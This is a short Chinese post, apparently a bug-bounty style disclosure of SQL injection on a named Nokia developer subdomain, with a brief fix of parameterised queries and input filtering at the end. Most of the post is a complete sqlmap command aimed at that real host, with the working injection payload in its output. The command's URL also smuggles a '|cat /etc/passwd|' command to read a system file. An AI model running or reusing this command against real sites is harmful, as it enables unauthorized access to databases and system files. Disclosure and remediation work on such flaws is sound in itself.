诺基亚某子站SQL注入涉及1620个表及40万数据网站安全分享!

搭了个批量%ignore_a_1%扫描器~~初步扫描
还真管用~
具体数据没跑，就是表名。
大战，求高分

注入点：
 

 python sqlmap.py -u "http://developer.qt.nokia.com/ows-bin/ezshopper/loadpage.cgi?user_id=1&file=|cat%20/etc/passwd|" --tables --thread 3

 [15:08:58] [INFO] resuming back-end DBMS &＃39;oracle&＃39; [15:08:58] [INFO] testing connection to the target URL sqlmap identified the following injection points with a total of 0 HTTP(s) reque sts: --- Parameter: user_id (GET)     Type: boolean-based blind     Title: AND boolean-based blind - WHERE or HAVING clause     Payload: user_id=1) AND 7908=7908 AND (4640=4640&file=|cat /etc/passwd| --- [15:08:59] [INFO] the back-end DBMS is Oracle back-end DBMS: Oracle

还有敏感的数据
 

解决方案：

预编译SQL语句，参数化SQL语句。

访问接口加个参数过滤就更好了。

—-想了解更多的网站安全相关处理怎么解决关注<编程笔记>